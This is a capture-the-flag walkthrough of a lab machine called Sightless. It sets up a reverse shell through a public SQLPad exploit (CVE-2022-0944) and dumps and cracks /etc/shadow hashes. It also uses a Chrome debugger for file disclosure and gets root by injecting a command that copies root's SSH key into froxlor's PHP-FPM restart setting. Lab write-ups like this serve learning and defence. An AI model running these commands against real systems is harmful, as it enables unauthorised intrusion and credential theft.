Enumeration

As usual, we start off with an nmap scan to get a listing of open ports and services:

sudo nmap -sS -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target

Which gives us:

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.12.73]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

This is a fairly typical web server set up on Linux; Port 22 for remote administration via SSH, port 21 for FTP and transferring files, port 80 for hosting web applications.

We get a redirect to sightless.htb so we must add this to our /etc/hosts file.

In the background, we can kick off some directory busting using feroxbuster and some subdomain enumeration using ffuf:

feroxbuster -u http://sightless.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

ffuf -w /opt/SecLists/Discovery/DNS/dns-Jhaddix.txt:FUZZ -u http://sightless.htb/ -H 'Host: FUZZ.sightless.htb' -t 200 -fs 154

One of the links on the page redirects us to sqlpad.sightless.htb so we must also add this to our /etc/hosts file.

Exploiting SQLPad

SQLPad has a known exploit, found at https://github.com/shhrew/CVE-2022-0944/tree/main

We can prepare the PoC like so:

git clone https://github.com/shhrew/CVE-2022-0944.git
cd CVE-2022-0944/
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

First, we prepare to capture the shell with nc:

rlwrap nc -lnvp 4444

Then we can trigger it with:

python3 main.py http://sqlpad.sightless.htb/ 10.10.14.82 4444

In our shell that gets returned, we run id and know that we are running as root. Running hostname reveals a sequence of characters indicative of a Docker container. Additionally, in the root of the file system, we can see a .dockerenv file, confirming we are in a container. We need to breakout of the container and get to the host.

There is a user account on the box, michael, but no user text file exists in it’s home directory. Since we are root, we can simply cat /etc/shadow and see the hashes for the root account and the michael account. We can take these hashes offline and attempt to crack them with hashcat:

hashcat -O hashes /usr/share/wordlists/rockyou.txt

We can successfully crack the hash for the root account on the machine using hashcat. Weirdly, the password for the michael account did not crack, but it will with john:

john hashes -w=/usr/share/wordlists/rockyou.txt

I am not sure what’s going on there. hashcat reports it is a SHA 512 Crypt hash which is what john will use too. So what is the discrepancy? The word list is the same.

With this password, we can log into the host.

Escalation from michael

Running netstat -ano on the host as michael reveals that there are quite a lot of ports listening on 127.0.0.1.

One possible interesting port is 8080 which is typical for additional web applications running on the host. We can quit the SSH session and restart it but triggering a local port forward so we can access what might be running there:

ssh -L 8080:localhost:8080 [email protected]

Going to the web browser at 127.0.0.1:8080 reveals the server is running froxlor which was mentioned in their website during the initial enumeration. Don’t go to localhost:8080 because there is domain filtering in place preventing localhost explicitly.

We can try the credentials we have but they don’t appear to work in the froxlor login.

One thing to notice is that there appears to be a chrome debugger running:

ps aux | grep debugger
netstat -tulpn

We can do the same local port forwarding options with the -L switch with the SSH client and forward the higher ports (> 30000) since one of these will be the chrome debugger port.

We can then fire up metasploit and use the gather/chrome_debugger module to include local files from the host:

use gather/chrome_debugger
set RHOSTS 127.0.0.1
set RPORT <a_port>
set FILEPATH /etc/passwd
run

And it will get us the passwd file so we have file disclosure vulnerability due to the running of the chrome debugger. We just need to know what file we should get that could give us information on how to privilege escalate. Presumably, something can be done with froxlor to privilege escalate.

Another thing we see when running ps aux is python3 /home/john/automation/administration.py indicating the john user is running a script. Let’s try and get that file and see what it is. It looks like the intention here is not actually to exploit the chrome debugger. There is probably some other way to get XSS and steal the admin’s cookie. This looks like an unintended way to solve this machine. But we get the credentials anyway and I’m rolling with it because this feels like a fun exploit and good learning anyway. I’ve never abused the chrome debugger being enabled before.

We can use the credentials from this script to log in to the froxlor panel.

Exploiting froxlor

With access to froxlor as the admin user, we can force it run commands for us by going to http://127.0.0.1:8080/admin_phpsettings.php?page=fpmdaemons&action=edit&id=1 (this uses the port forward from before) and editing the php-fpm restart command. I modified it to be:

cp /root/.ssh/id_rsa /tmp/id_rsa

The intention is to copy the root id_rsa to a temporary location accessible by the michael user and open it to everyone. So our next step after we restart the process via the Settings -> PHP-FPM settings is to:

chmod 777 /tmp/id_rsa

We can now copy this back to our attack machine and set the correct permissions with chmod 600 id_rsa and then log in with:

ssh -i id_rsa root@$target

We’ve got a root shell and full access to the compromised host! Hooray.